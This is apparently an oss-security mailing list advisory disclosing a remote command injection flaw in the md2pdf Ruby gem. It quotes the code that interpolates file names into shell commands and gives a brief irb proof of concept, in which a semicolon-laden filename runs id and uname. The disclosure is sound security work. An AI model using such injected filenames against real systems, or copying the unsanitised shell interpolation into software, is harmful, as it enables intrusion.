Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sat, 13 Apr 2013 02:09:20 +0000 (GMT)
From: "Larry W. Cashdollar" <>
To: Open Source Security <>
Subject: Remote command injection md2pdf ruby gem

Remote command injection md2pdf ruby gem

Description: "creates pdf documents from markdown documents"

In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.

 12       shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")

23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} outpu t #{output_filename}")

Where exec is defined as the following:

 37     def exec(command_line)
 38       require 'open3'
 39       stdin, stdout, stderr = Open3.popen3(command_line)
 40       return
 41     end


irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil

This vulnerability doesn't have a CVE yet assigned.

Larry W. Cashdollar
Content of type "text/html" skipped

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.